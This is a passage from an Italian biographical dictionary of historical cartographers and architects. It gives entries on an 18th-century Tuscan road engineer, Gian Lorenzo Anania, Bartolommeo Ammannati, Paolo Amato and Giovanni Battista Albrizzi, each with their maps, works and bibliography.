Nel decennio 1758-68, sempre in campo stradale, si occupò della viabilità periurbana fiorentina, con l’apertura “fatta in sollievo dei poveri di un tratto della circonvallazione esterna della capitale”, tra le porte S. Gallo e Il Prato, con esecuzione della Pianta di tutta quella campagna [con] le mura della Città, recinto di Castel S. Gio. Batta e campagna suddetta; dal 1767 si occupò della prosecuzione della strada da Porta al Prato allo Stradone delle Cascine, con relazione ed altro disegno (Orefice, 1997, p. 31).
Insieme con Bernardino Della Porta, prestò assistenza alla costruzione della Barrocciabile Casentinese tra Pontassieve e il passo della Consuma nel 1786-89, e insieme ai coevi lavori stradali di ammodernamento della Firenze-Pontassieve e di costruzione della Pontassieve-Ponticino di San Godenzo.
Tra le altre operazioni non stradali sono da ricordare: nel 1772, il progetto iniziale per la ristrutturazione dell'immobile per il nuovo Palazzo Pretorio della Comunità di Pontassieve, con i affidati a Gaspero Paganelli sotto la direzione dell'ingegner Agostino Fortini, e con l'Anastasi che realizzerà un nuovo progetto di restauro dell'immobile nel 1780-82; e la direzione nel 1786 dei lavori, progettati dall'ingegnere Giuseppe Salvetti ed approvati con decreto granducale del 23 maggio 1786, per la realizzazione di un fosso regolatore funzionale ad uso di alcuni mulini nella piana tra Anghiari e Sansepolcro in Valtiberina.
L’ultimo lavoro di cui siamo a conoscenza, in data 9 luglio 1788, è la relazione (con relativa cartografia), stesa su committenza sovrana, per l’apertura di una strada esterna all’abitato di Pontassieve, con studio di riduzione a rotabile della vecchia ed erta strada del castello, oppure di costruzione di una sorta di circonvallazione per agevolare il passaggio per le nuove rotabili di San Godenzo e della Consuma (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia manoscritta:
Disegno della sezione della nuova strada Bolognese della Futa, 1749 (ASF, Capitani di Parte. Numeri nei, f. 1704, e Piante dei Capitani di Parte, cartone XII);
Relazione e pianta dimostrativa con scandaglio della spesa occorrente per eseguire la nuova ideata strada per le montagne di Pistoia fino al contiguo stato modenese, 1758 (ASF, Segreteria di Finanze ante 1788, f. 1087);
Profilo e misure della Nuova Strada Aretina dalla Porta di S. Niccolò fino all’Incisa, 30 giugno 1761 (ASF, Piante dei Capitani di Parte, cartone XXII);
Piante e livellazioni del torrente Fiacchereto che sbocca in Arno, maggio 1762 (ASF, Piante di Acque e Strade, n. 1504 m, tav. V);
Profili distinti in n. 4 carte i quali dimostrano le rispettive declività ed acclività delle scese e salite che s’incontrano per le più disastrose montagne ed Appennini del Pistoiese da transitarsi colla nuova Strada progettata dalla città di Pistoia per le montagne di detto luogo fino al Confine del contiguo Stato Modenese, 1766 (ASF, Piante dei Capitani di Parte Guelfa, cartone XXIV);
Planimetria di progetto per la ricostruzione del ponte della Cecinella sulla Strada Pisana, 1765 (ASF, Capitani di Parte Guelfa. Numeri Neri, f. 1076, ins. 1765);
Pianta del nuovo tronco di Strada lungo braccia 727 […] progettato a scanso dell’incomoda costa, che in quella attuale, che passa per il Castello del Pontassieve, s’incontra di qua, e di là alla Porta della Torre dell’Oriolo, 9 luglio 1788 (BNCF, Cappugi, n. 308, doc. XIX).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Sterpos, 1977, pp. 2-6, 11-12, 18-19, 24 e 35; Casali et alii, 1985, p. 27; Rombai, 1987, pp. 373-375; Tognarini, a cura di, 1990, p. 11-12, 99 e 122-126; Barsanti e Rombai, a cura di, 1994, p. 166; Barsanti, Bonelli Conenna e Rombai, 2001; Vivoli, 1992, p. 75; Rombai, 1993, p. 44; Corsani, 1997, pp. 116-131; Orefice, 1997, pp. 11 e 31-34; Pieri, 1997, pp. 74-75 e 88; Romby, 1997, pp. 91-115; ASF, Segreteria di Finanze ante 1788; ASF,Segreteria di Finanze ante 1788. Protocolli; ASF, Capitani di Parte Guelfa. Numeri Neri; ASF, Capitani di Parte. Numeri Bianchi; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante di Acque e Strade; BNCF, Cappugi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Anania, Gian Lorenzo

Giovanni Lorenzo Anania
N. Taverna 1545
M. 1607

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Filosofo, teologo, cosmografo e storico naturale

Biografia:
Visse per alcuni anni presso l’arcivescovo di Napoli Mario Carafa, ma alla morte di quest’ultimo ritornò in Calabria

Produzione scientifica:
Non ancora trentenne compose Universale fabbrica del Mondo ovvero Cosmografia, divisa in quattro trattati: ne’ quali distintamente si misura il Cielo e la Terra e si descrivono particolarmente le Provincie, Citta, Castella, Monti, Mari, Laghi, Fiumi, e Fonti, e si tratta delle Leggi e Costumi di molti popoli: de gli Alberi e dell’Herbe, e d’altre cose preziose, e Medicinali e de gl’Inventori di tutte le cose. Di nuovo ornata delle figure delle quattro parti del Mondo in Rame: et dal medesimo Autore con infinite aggiuntioni per ogni parte dell’opera, ampliata. Napoli, 1573.
Europa, silografia, 1573, in Universale fabbrica del Mondo…

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Accattatis L., Le biografie degli uomini illustri delle Calabrie, vol. II, Bologna, Arnaldo Forni Editore, 1977, pp. 95-98; Barrio G., “Antichità e luoghi della Calabria” (traduzione italiana di E.A.Mancuso), Libro IV, cap. I, Cosenza, Edizioni Brenner, 1979, p. 437; Cagliostro R. M. (a cura di) Calabria, in Fagiolo M., Atlante del barocco in Italia, Roma, De Luca Editori d'Arte, 2002, pp. 28-29, 45; Dizionario biografico degli italiani, vol. III, Ist. Enc. Ital., Roma, 1961, pp.19-20; Principe I., “Carte geografiche nella raccolta Zerbi”, Vibo Valentia, Edizioni Mapograf, 1990, p. 42.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Bonica

Ammannati, Bartolommeo

Bartolommeo Ammannati
N. Settignano (Firenze) 18 Giugno 1511
M. 13 aprile 1599

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Scultore e architetto.

Biografia:
Dopo l’apprendistato giovanile come scultore nella bottega di Baccio Bandinelli, si trasferì a Venezia presso Jacopo Sansovino, attiratovi dalla sua fama; la raffinata eleganza dell’artista, insieme alla influenza delle opere fiorentine di Michelangelo, rappresentano le componenti più significative di Ammannati scultore.

Produzione scientifica:
Dal 1537 fu impegnato con Jacopo Sansovino nella decorazione della Libreria di S. Marco a Venezia e nel 1544-46 è a Padova dove realizza varie opere scultoree per Marco Mantova Benavides. Dopo il suo matrimonio a Urbino (17 aprile 1550) con Laura Battiferri, e grazie alla influente protezione di Giorgio Vasari venne presentato al pontefice Giulio III che ne utilizzò le versatili qualità nelle numerose costruzioni avviate nella sua Vigna sulla via Flaminia (villa Giulia), oltre che in vari altri complessi di interesse papale. E’ ancora con la intermediazione vasariana che Ammannati si trasferisce a Firenze e trova credito presso la corte medicea prima come scultore
(fontana di Palazzo Vecchio; fontana di Piazza, 1559; fontana del Tribolo a Castello; fontana dell’Appennino a Castello; Ercole e Anteo, 1573-65) e successivamente (dal 1560) come architetto di fiducia del granduca che gli affidò i lavori di ampliamento di Palazzo Pitti (1560-1577), destinato a divenire sede della corte principesca. Agli stessi anni appartengono i progetti di numerosi palazzi fiorentini come quello di Ugolino Grifoni (1557-74), Giugni (ante 1577), Ramirez Montalvo (1568), Mondragone (1568), le case dell’Arte della Lana (1575-78 e 1584, via Alfani-via della Pergola), e il chiostro di S. Spirito (1564-96).
Sempre all’ambito vasariano e cortigiano è da riferire la creazione dell’accademia del Disegno (1564) che vede Ammannati come uno dei fondatori.
Tra 1567 e 1569 fu impegnato nella realizzazione del Ponte S. Trinita, distrutto da una piena d’Arno (13 settembre 1557), con un progetto di innovativa qualità statica e costruttiva.
Dal 1577 al 1581 lavorava al Palazzo Ducale di Lucca (rimasto incompiuto) ed a più riprese a Roma, per il cardinale Ferdinando dei Medici (poi granduca).
Al 1572 risalgono i primi contatti di Ammannati con i Gesuiti per i quali dal 1579 realizzava l’ampliamento della chiesa e convento di S. Giovannino a Firenze.
L’opera grafica di Ammannati (conservata presso il GDSU e la BRF) pare incentrata prevalentemente sullo studio tipologico e sulle formule architettoniche adatte a qualificare l’architettura civile e trova una articolata sintesi nel Trattato sulla città (1584).
Il corpus dei disegni e degli scritti rimasti, afferenti al Trattato cui l’Ammannati attese tutta la vita, è costituito da frammenti non omogenei; un volume di disegni conosciuti sotto il nome di “Città Ideale” è conservato presso il GDSU (Bartolomeo Ammannati, fabbriche di sua invenzione dal n. 3382A al n. 3464A). Le restituzioni grafiche si soffermano ad una scala di dettaglio tipologico e compositivo che dà conto dell’iter progettuale dell’autore impegnato nei grandi cantieri fiorentini.
Maggiore interesse per un ambito più vicino a quello territoriale si trova nel corpus Riccardiano (BRF, Edizioni rare 120), costituito di tre quaderni numerati progressivamente da c. 1 a c. 114 e seguiti da due opere a stampa di Luca Pacioli. Da c. 1 a c. 31 si trovano ampiamente illustrati esempi di esercizi geometrici e matematici; le cc. 32-52 sono disegni e appunti interessanti l’attività dell’architetto dal 1555 a dopo il 1570; la parte seconda da c. 53 a c. 85 contiene un capitolo che illustra il sistema di fortificazioni e seguono appunti e disegni vari che utilizzano la veduta prospettica “a volo d’uccello” per rappresentare sia i dettagli che le qualità di mura e baluardi .
Con la parte terza (cc. 95-114), relativa a strumenti e tecniche per la misurazione, l’Ammannati si confronta con la cultura tecnica del granducato. In tal senso sono da intendere gli esempi grafici inseriti nel testo, schizzati con immediatezza e comprensivi di annotazioni di tipo paesaggistico.
Di possibile ulteriore afferenza alle tematiche geografico-paesaggistiche dovevano essere i disegni (perduti) per la villa Medici di Roma, sottoposti (29 aprile 1570) all’approvazione del cardinale Ferdinando, che mostravano l’area fino a Trinità dei Monti (Gaye, III, p. 281).

Produzione di cartografia manoscritta:
Rappresentazioni cartografiche

Fabbriche di sua invenzione dal n. 3382A al n. 3464A (GDSU);
Trattato sulla città (BRF, Edizioni rare 120).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici
Baldinucci, VI, 1769; Gaye, III, 1840; Vasari, VII, 1881; DBI, ad vocem; Fossi, 1967; Fossi, a cura di, 1970; Fossi, 1976; Rosselli Del Turco e Salvi, a cura di, 1995; Kiene, 1995; Belluzzi e Belli, 2003; GDSU; BRF.

Rimandi ad altre schede:

Autore della scheda: Giuseppina Carla Romby

Amato, Paolo

Paolo Amato
N. Ciminna (Palermo) 24 gennaio 1634
M. 3 luglio 1714

Relazioni di parentela: Genitori: Giovan Domenico e Laurea di Amato

Ente/istituzione di appartenenza: Ordinato sacerdote, visse soprattutto a Palermo, dove si dedicò allo studio dell’architettura e delle belle arti. Nel 1687 fu nominato architetto del Senato, carica che occupò per più di quaranta anni.
Qualifica: Architetto, disegnatore e incisore

Biografia:

Produzione scientifica:
Viene considerato un caposcuola e godette di ottima fama anche in quanto autore di un trattato, La nuova pratica di prospettiva, in due volumi, pubblicato postumo fra il 1724 e il 1733. Della sua ricchissima produzione architettonica la chiesa del SS. Salvatore a Palermo viene considerata come l’opera maggiore. Cimentatosi anche nella cartografia, disegnò due piante di Palermo in proiezione assonometrica, la prima incisa su rame da Paolo Petrini; la seconda da Vincenzo Bongiovanni. Sua anche l’incisione di Palermo nell’Altare Maggiore di S. Rosalia, contenuta nell’opera di M. Del Giudice, Palermo Magnifico nel trionfo dell’anno MDCLXXXVI.

Produzione di cartografia manoscritta:
Palermo città felice e fedelissima, capo e regia della Sicilia per le sue delizie detta la Conca d’Oro, c.1680 .
Altare Maggiore della Madrice ne’ trionfi di S. Rosalia nel 1686 (dopo la pestilenza del 1624), 1686.
Montes in circuitu eius/Psalm 124(Palermo), 1690.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. E. Ortolani, Biografia degli uomini illustri della Sicilia, III, Napoli, Gervasi, 1819, n. 2; F. Meli, Degli architetti del Senato di Palermo nei secoli XVII e XVIII, in “Archivio storico per la Sicilia”, IV-V(1938-39), pp. 359-362, 443; Dizionario dei siciliani illustri, Palermo, Ciuni, 1939, pp. 33-34; Diz. Biogr. degli Italiani, Ist. Enc. Ital., Roma, 1960, II, p. 685; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Roma-Bari, Laterza, 1980, p. 105, n. 22; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec.XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp. 80, 86; II, tavv. 51, 57; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, pp. 15-18; A. Gallo (1790-1872), Notizie intorno agli architetti siciliani e agli esteri soggiornanti in Sicilia da’ tempi più antichi fino al corrente anno 1838, Palermo, Bibl. Centrale Regione Sicilia, 2000, pp. 107-111.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Albrizzi, Giovanni Battista

Giovanni Battista Albrizzi
N. Venezia 1698
M. 1777

Relazioni di parentela: Della famiglia di tipografi e editori veneziani attiva tra il XVI e XVII sec. Un Girolamo fondò l’Accademia di Minerva che dal 1696 pubblicò la rivista Galleria di Minerva

Ente/istituzione di appartenenza:
Qualifica: stampatore, tipografo, editore, giornalista

Biografia:

Produzione scientifica:
DE L’ISLE G., Atlante Novissimo, Venezia, 1740-1750
SALMON G., Lo stato presente di tutti i paesi e popoli del mondo, Venezia, 1753
BERETTA F., La Patria del Friuli descritta ed illustrata : colla storia e monumenti di Udine sua capitale e delle altre città e luoghi della provincia,Venezia,1753
Forestiero illuminato intorno le cose più rare, e curiose, antiche, e moderne, della città di Venezia, e dell'isole circonvicine, Venezia, 1772
LE SAGE M. A., Atlante storico, geografico, genealogico, cronologico e letterario, Venezia, Girolamo Tasso, 1843-1845

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta geografica del Messico o sia della Nuova Spagna], Venezia, c.1740

• [Carta geografica del Canada nell’America Settentrionale], c.1742

• [Carta del fiume Po «Carta geografica del corso del Po per la Lombardia dalle sue Fonti sino al mare»], Venezia, 1746

• [Carta geografica dello Stato Veneto in Italia], in Atlante Novissimo di DE L’ISLE G., Venezia, 1750

• [Carta geografica della Provincia del Friuli], in Atlante Novissimo di DE L’ISLE G.,Venezia, 1750

• [Carta geografica della Patria del Friuli], in Lo stato presente di tutti i paesi e popoli del mondo di SALMON G., Vol. XX, Parte I Venezia, 1753

• [Carta geografica dell’Istria], in Lo stato presente di tutti i paesi e popoli del mondo di SALMON G., Vol. XX, Parte I, Venezia, 1753

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Francesco Beretta

Autore della scheda: